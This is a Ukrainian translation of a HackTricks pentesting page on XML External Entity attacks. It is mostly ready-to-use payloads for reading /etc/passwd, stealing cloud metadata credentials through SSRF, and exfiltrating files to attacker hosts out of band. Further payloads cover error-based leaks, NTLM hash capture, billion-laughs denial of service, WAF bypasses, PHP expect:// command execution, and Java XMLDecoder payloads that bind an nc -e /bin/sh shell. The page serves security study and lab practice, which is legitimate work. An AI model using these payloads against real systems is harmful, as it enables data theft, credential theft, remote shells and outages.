XXE - XEE - XML External Entity

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Основи XML

XML - це мова розмітки, призначена для зберігання та транспортування даних, яка має гнучку структуру, що дозволяє використовувати описовані теги. Вона відрізняється від HTML тим, що не обмежується набором попередньо визначених тегів. Значення XML зменшилося з появою JSON, незважаючи на його початкову роль в технології AJAX.

  • Представлення даних через сутності: Сутності в XML дозволяють представляти дані, включаючи спеціальні символи, такі як &lt; та &gt;, які відповідають < та >, щоб уникнути конфліктів з системою тегів XML.

  • Визначення елементів XML: XML дозволяє визначати типи елементів, описуючи, як повинні бути структуровані елементи та який вміст вони можуть містити, від будь-якого типу вмісту до конкретних дочірніх елементів.

  • Визначення типу документа (DTD): DTD є важливим у XML для визначення структури документа та типів даних, які він може містити. Вони можуть бути внутрішніми, зовнішніми або комбінованими, керуючи тим, як форматуються та перевіряються документи.

  • Власні та зовнішні сутності: XML підтримує створення власних сутностей у DTD для гнучкого представлення даних. Зовнішні сутності, визначені за допомогою URL, викликають питання безпеки, особливо в контексті атак зовнішніх сутностей XML (XXE), які використовують спосіб обробки зовнішніх джерел даних XML-аналізаторами: <!DOCTYPE foo [ <!ENTITY myentity "value" > ]>

  • Виявлення XXE за допомогою параметричних сутностей: Для виявлення вразливостей XXE, особливо коли традиційні методи не працюють через заходи безпеки аналізатора, можна використовувати параметричні сутності XML. Ці сутності дозволяють використовувати техніки виявлення поза мережею, такі як спрацювання DNS-запитів або HTTP-запитів на керований домен для підтвердження вразливості.

  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>

  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>

Основні атаки

Більшість цих атак були протестовані за допомогою чудових лабораторій Portswiggers XEE: https://portswigger.net/web-security/xxe

Тест нової сутності

У цій атакі я перевірю, чи працює просте оголошення нової СУТНОСТІ.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>

Читання файлу

Спробуємо прочитати /etc/passwd різними способами. Для Windows ви можете спробувати прочитати: C:\windows\system32\drivers\etc\hosts

У цьому першому випадку зверніть увагу, що SYSTEM "**file:///**etc/passwd" також працюватиме.

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>

Цей другий випадок може бути корисним для вилучення файлу, якщо веб-сервер використовує PHP (не випадок лабораторій Portswiggers)

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>

У цьому третьому випадку зверніть увагу, що ми оголошуємо Element stockCheck як ANY

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>

Список каталогів

У додатках на основі Java можливо переглянути вміст каталогу через XXE за допомогою такого завантаження (просто запитуючи каталог замість файлу):

<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>

<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>

SSRF

XXE може бути використаний для зловживання SSRF в хмарі

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Сліпий SSRF

Використовуючи раніше згадану техніку, ви можете змусити сервер звертатися до сервера, яким ви керуєте, щоб показати його вразливість. Але, якщо це не працює, можливо, це через те, що XML-сутності не дозволені, у цьому випадку ви можете спробувати використати XML-параметричні сутності:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

"Сліпий" SSRF - Виведення даних за межі зв'язку

У цьому випадку ми змусимо сервер завантажити новий DTD зі злоякісним навантаженням, яке відправить вміст файлу через запит HTTP (для файлів з кількома рядками ви можете спробувати вивести його через _ftp://_ використовуючи цей базовий сервер, наприклад xxe-ftp-server.rb). Це пояснення базується на лабораторії Portswigger тут.

У злоякісному DTD, наведеному нижче, проводиться серія кроків для виведення даних:

Приклад злоякісного DTD:

Структура наступна:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

Кроки, виконані цим DTD, включають:

  1. Визначення Параметричних Сутностей:

  • Створюється XML параметрична сутність, %file, яка читає вміст файлу /etc/hostname.

  • Інша XML параметрична сутність, %eval, визначається. Вона динамічно оголошує нову XML параметричну сутність, %exfiltrate. Сутність %exfiltrate встановлюється для виконання HTTP-запиту на сервер атакуючого, передаючи вміст сутності %file у рядку запиту URL.

  1. Виконання Сутностей:

  • Використовується сутність %eval, що призводить до виконання динамічного оголошення сутності %exfiltrate.

  • Потім використовується сутність %exfiltrate, що викликає HTTP-запит на вказаний URL із вмістом файлу.

Атакуючий розміщує цей шкідливий DTD на сервері під своїм контролем, зазвичай за URL-адресою, наприклад, http://web-attacker.com/malicious.dtd.

XXE Payload: Для експлуатації вразливої програми атакуючий надсилає XXE навантаження:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Цей вразливий код визначає XML параметричний об'єкт %xxe та включає його в DTD. При обробці XML-аналізатором цей код витягує зовнішній DTD з сервера зловмисника. Потім аналізатор інтерпретує DTD в режимі реального часу, виконуючи кроки, вказані в шкідливому DTD, що призводить до витікання файлу /etc/hostname на сервер зловмисника.

Основано на помилках (Зовнішній DTD)

У цьому випадку ми змусимо сервер завантажити шкідливий DTD, який покаже вміст файлу у повідомленні про помилку (це працює лише в разі, якщо ви можете бачити повідомлення про помилку). Приклад тут.

Помилка розбору XML, яка розкриває вміст файлу /etc/passwd, може бути викликана за допомогою шкідливого зовнішнього визначення типу документа (DTD). Це досягається за допомогою наступних кроків:

  1. Визначається XML параметричний об'єкт з ім'ям file, який містить вміст файлу /etc/passwd.

  2. Визначається XML параметричний об'єкт з ім'ям eval, який включає динамічне визначення для іншого XML параметричного об'єкта з ім'ям error. Цей об'єкт error, при оцінці, намагається завантажити неіснуючий файл, включаючи вміст об'єкта file як його ім'я.

  3. Викликається об'єкт eval, що призводить до динамічного визначення об'єкта error.

  4. Викликання об'єкта error призводить до спроби завантажити неіснуючий файл, що призводить до повідомлення про помилку, яке містить вміст файлу /etc/passwd як частину імені файлу.

Шкідливий зовнішній DTD можна викликати за допомогою наступного XML:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Після виконання відповідь веб-сервера повинна містити повідомлення про помилку, яке відображає вміст файлу /etc/passwd.

Зверніть увагу, що зовнішній DTD дозволяє нам включити один елемент всередині другого (eval), але це заборонено во внутрішньому DTD. Тому ви не можете викликати помилку без використання зовнішнього DTD (зазвичай).

Заснований на помилках (системний DTD)

Отже, що на рахунок сліпих вразливостей XXE, коли блокуються взаємодії поза мережею (зовнішні з'єднання недоступні)?.

У лазунці у специфікації мови XML може розкрити чутливі дані через повідомлення про помилку, коли DTD документа поєднує внутрішні та зовнішні оголошення. Ця проблема дозволяє внутрішнє перевизначення елементів, оголошених зовні, що сприяє виконанню атак XXE на основі помилок. Такі атаки використовують перевизначення параметрного елемента XML, спочатку оголошеного в зовнішньому DTD, з внутрішнього DTD. Коли сервер блокує зв'язки поза мережею, зловмисники повинні покладатися на локальні файли DTD для проведення атаки, спрямованої на викликання помилки розбору для розкриття чутливої інформації.

Припустимо, що файлова система сервера містить файл DTD за шляхом /usr/local/app/schema.dtd, який визначає елемент з назвою custom_entity. Зловмисник може викликати помилку розбору XML, розкриваючи вміст файлу /etc/passwd, надсилаючи гібридний DTD наступного вигляду:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

Вказані кроки виконуються цим DTD:

  • Визначення XML-параметрного об'єкта з іменем local_dtd включає зовнішній файл DTD, розташований на файловій системі сервера.

  • Відбувається перевизначення параметрного об'єкта XML custom_entity, спочатку визначеного в зовнішньому DTD, для упакування експлойту XXE на основі помилок. Це перевизначення призначене для виклику помилки розбору, що викриває вміст файлу /etc/passwd.

  • Використовуючи об'єкт local_dtd, залучається зовнішній DTD, охоплюючи ново визначений custom_entity. Ця послідовність дій призводить до виникнення повідомлення про помилку, на яке спрямований експлойт.

Приклад з реального життя: Системи, які використовують середовище робочого столу GNOME, часто мають DTD за шляхом /usr/share/yelp/dtd/docbookx.dtd, що містить об'єкт з іменем ISOamso.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Якщо ця техніка використовує внутрішній DTD, спочатку потрібно знайти дійсний. Це можна зробити, встановивши той самий OS / Software, який використовує сервер, і пошукавши деякі типові DTD, або отримавши список типових DTD всередині систем та перевірити, чи існує хоча б один з них:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

Для отримання додаткової інформації перевірте https://portswigger.net/web-security/xxe/blind

Пошук DTD всередині системи

У наступному чудовому репозиторії github ви можете знайти шляхи DTD, які можуть бути присутні в системі:

Крім того, якщо у вас є образ Docker системи жертви, ви можете використовувати інструмент з того ж репозиторію для сканування образу та знаходження шляху DTD, які присутні всередині системи. Прочитайте Readme репозиторію github, щоб дізнатися як.

java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar

Scanning TAR file /tmp/dadocker.tar

[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []

[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []

XXE через парсери Office Open XML

Для більш детального пояснення цього атаки, перевірте другий розділ цього дивовижного посту від Detectify.

Можливість завантаження документів Microsoft Office пропонується багатьма веб-додатками, які потім продовжують видобувати певні деталі з цих документів. Наприклад, веб-додаток може дозволяти користувачам імпортувати дані, завантажуючи таблицю у форматі XLSX. Для того, щоб парсер міг видобути дані з таблиці, йому необхідно буде розібрати принаймні один файл XML.

Для перевірки цієї вразливості необхідно створити файл Microsoft Office, що містить навантаження XXE. Першим кроком є створення порожнього каталогу, до якого можна розпакувати документ.

Після розпакування документа, файл XML, розташований за адресою ./unzipped/word/document.xml, слід відкрити та відредагувати у вибраному текстовому редакторі (наприклад, vim). XML повинен бути змінений так, щоб включити бажане навантаження XXE, часто починаючи з запиту HTTP.

Змінені рядки XML повинні бути вставлені між двома кореневими об'єктами XML. Важливо замінити URL на URL, який можна відстежувати для запитів.

Нарешті, файл можна запакувати, щоб створити шкідливий файл poc.docx. З папки "unzipped", створеної раніше, слід виконати наступну команду:

Тепер створений файл можна завантажити в потенційно вразливий веб-додаток, і можна сподіватися, що запит з'явиться в журналах співпраці Burp.

Протокол Jar:

Протокол jar доступний виключно в межах Java-додатків. Він призначений для забезпечення доступу до файлів у архіві PKZIP (наприклад, .zip, .jar, тощо), обслуговування як локальних, так і віддалених файлів.

jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt

Для можливості доступу до файлів всередині файлів PKZIP дуже корисно зловживати XXE через файли системи DTD. Перевірте цей розділ, щоб дізнатися, як зловживати файлами системи DTD.

Процес доступу до файлу всередині архіву PKZIP за допомогою протоколу jar включає кілька кроків:

  1. Виконується HTTP-запит для завантаження zip-архіву з вказаного місця, наприклад, https://download.website.com/archive.zip.

  2. HTTP-відповідь, що містить архів, тимчасово зберігається на системі, зазвичай в місці, такому як /tmp/....

  3. Потім архів розпаковується для доступу до його вмісту.

  4. Читається конкретний файл всередині архіву, file.zip.

  5. Після виконання операції будь-які тимчасові файли, створені під час цього процесу, видаляються.

Цікавою технікою для переривання цього процесу на другому кроці є тримання відкритого підключення до сервера нескінченно довго при обслуговуванні файлу архіву. Інструменти, доступні в цьому репозиторії, можна використовувати для цієї цілі, включаючи сервер Python (slow_http_server.py) та сервер Java (slowserver.jar).

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>

Запис файлів у тимчасовий каталог може допомогти збільшити іншу вразливість, яка включає трансверсал шляху (таку як локальне включення файлів, ін'єкція шаблонів, XSLT RCE, десеріалізація тощо).

XSS

<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>

DoS

Атака "Мільярд сміхів"

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Атака Yaml

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

Квадратична атака на розпухання

Отримання NTML

На хостах Windows можливо отримати хеш NTML користувача веб-сервера, встановивши обробник responder.py:

Responder.py -I eth0 -v

і надсилаючи наступний запит

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>

Приховані поверхні XXE

XInclude

При інтеграції даних клієнта в серверні XML-документи, такі як ті, що містяться в запитах SOAP на боці сервера, прямий контроль над структурою XML часто обмежений, що ускладнює традиційні атаки XXE через обмеження на зміну елемента DOCTYPE. Однак атака XInclude надає рішення, дозволяючи вставляти зовнішні сутності в будь-який елемент даних XML-документу. Цей метод ефективний навіть тоді, коли можна контролювати лише частину даних у створеному сервером XML-документі.

Для виконання атаки XInclude потрібно оголосити простір імен XInclude та вказати шлях до файлу для призначеної зовнішньої сутності. Нижче наведено лаконічний приклад того, як можна сформулювати таку атаку:

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

Перевірте https://portswigger.net/web-security/xxe для отримання додаткової інформації!

SVG - Завантаження файлів

Файли, які користувачі завантажують до певних додатків, а потім обробляються на сервері, можуть використовувати вразливості у способі обробки XML або файлів, що містять XML. Розповсюджені формати файлів, такі як офісні документи (DOCX) та зображення (SVG), базуються на XML.

Коли користувачі завантажують зображення, ці зображення обробляються або перевіряються на сервері. Навіть для додатків, які очікують формати, такі як PNG або JPEG, бібліотека обробки зображень сервера може також підтримувати зображення SVG. SVG, як формат на основі XML, може бути використаний зловмисниками для надсилання шкідливих зображень SVG, тим самим викриваючи сервер на вразливості XXE (зовнішні сутності XML).

Нижче показано приклад такої атаки, де зловмисне зображення SVG намагається прочитати системні файли:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>

Ще один метод полягає в спробі виконати команди через обгортку PHP "expect":

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>

У обох випадках формат SVG використовується для запуску атак, які використовують можливості обробки XML програмного забезпечення сервера, що підкреслює необхідність надійної перевірки введених даних та заходів безпеки.

Перевірте https://portswigger.net/web-security/xxe для отримання додаткової інформації!

Зверніть увагу, що перший рядок прочитаного файлу або результату виконання з'явиться УСЕРЕДИНІ створеного зображення. Тому вам потрібно мати можливість отримати доступ до створеного SVG-зображення.

PDF - Завантаження файлу

Прочитайте наступний пост, щоб дізнатися, як використовувати XXE для завантаження файлу PDF:

pagePDF Upload - XXE and CORS bypass

Content-Type: Від x-www-urlencoded до XML

Якщо запит POST приймає дані у форматі XML, ви можете спробувати використати XXE в цьому запиті. Наприклад, якщо звичайний запит містить наступне:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

Тоді ви, можливо, зможете надіслати наступний запит з таким самим результатом:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

Content-Type: Від JSON до XEE

Для зміни запиту ви можете використати розширення Burp під назвою "Content Type Converter". Тут ви можете знайти цей приклад:

Content-Type: application/json;charset=UTF-8

{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>

Інший приклад можна знайти тут.

WAF & Захист від обхіду

Base64

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

Це працює лише у випадку, якщо сервер XML приймає протокол data://.

UTF-7

Ви можете скористатися ["Encode Recipe" of cyberchef here ]([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) перетворити на UTF-7.

<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

Файл:/ Протокол Bypass

Якщо веб-сайт використовує PHP, замість використання file:/, ви можете використовувати php wrappers php://filter/convert.base64-encode/resource= для доступу до внутрішніх файлів.

Якщо веб-сайт використовує Java, ви можете перевірити jar: протокол.

HTML Entities

Хит від https://github.com/Ambrotd/XXE-Notes Ви можете створити сутність всередині сутності, кодуючи її за допомогою html entities, а потім викликати її для завантаження dtd. Зверніть увагу, що використані HTML Entities повинні бути числовими (як у цьому прикладі тут).

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>

Приклад DTD:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;

Обгортки PHP

Base64

Видобути index.php

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>

Видобуток зовнішнього ресурсу

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>

Віддалене виконання коду

Якщо модуль PHP "expect" завантажений

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

SOAP - XEE

<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>

XLIFF - XXE

Цей приклад інспірований https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe

XLIFF (XML Localization Interchange File Format) використовується для стандартизації обміну даними в процесах локалізації. Це формат на основі XML, який використовується переважно для передачі локалізованих даних між інструментами під час локалізації та як загальний формат обміну для інструментів CAT (Computer-Aided Translation).

Аналіз сліпого запиту

Запит надсилається на сервер із наступним вмістом:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

Проте цей запит спричинює внутрішню помилку сервера, зокрема зазначаючи проблему з оголошенням розмітки:

{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}

Незважаючи на помилку, на Burp Collaborator зафіксовано попадання, що свідчить про певний рівень взаємодії з зовнішньою сутністю.

Витік даних поза межами каналу Для витікання даних відправляється змінений запит:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

Цей підхід показує, що User Agent вказує на використання Java 1.8. Відомим обмеженням цієї версії Java є неможливість отримання файлів, що містять символ нового рядка, таких як /etc/passwd, за допомогою техніки Out of Band.

Екстракція даних на основі помилок Для подолання цього обмеження використовується підхід на основі помилок. Файл DTD має таку структуру, щоб викликати помилку, яка включає дані з цільового файлу:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;

Сервер відповідає помилкою, важливо відображаючи неіснуючий файл, що вказує на те, що сервер намагається отримати доступ до вказаного файлу:

{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}

Щоб включити вміст файлу у повідомлення про помилку, файл DTD налаштовується:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;

Ця модифікація призводить до успішного витікання вмісту файлу, оскільки він відображається в вихідних даних про помилку, відправлених через HTTP. Це свідчить про успішну атаку XXE (зовнішні сутності XML), використовуючи як техніки Out of Band, так і на основі помилок, для вилучення чутливої інформації.

RSS - XEE

Дійсний XML у форматі RSS для використання уразливості XXE.

Ping back

Простий HTTP-запит на сервер зловмисника

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Прочитати файл

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<stockCheck><productId>&xxe;</productId></stockCheck>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Читання вихідного коду

Використання фільтра PHP base64

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Java XMLDecoder XEE до RCE

XMLDecoder - це клас Java, який створює об'єкти на основі XML-повідомлення. Якщо зловмисний користувач може змусити додаток використовувати довільні дані при виклику методу readObject, він миттєво отримає виконання коду на сервері.

Використання Runtime().exec()

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>

ProcessBuilder

ProcessBuilder

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>

Інструменти

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

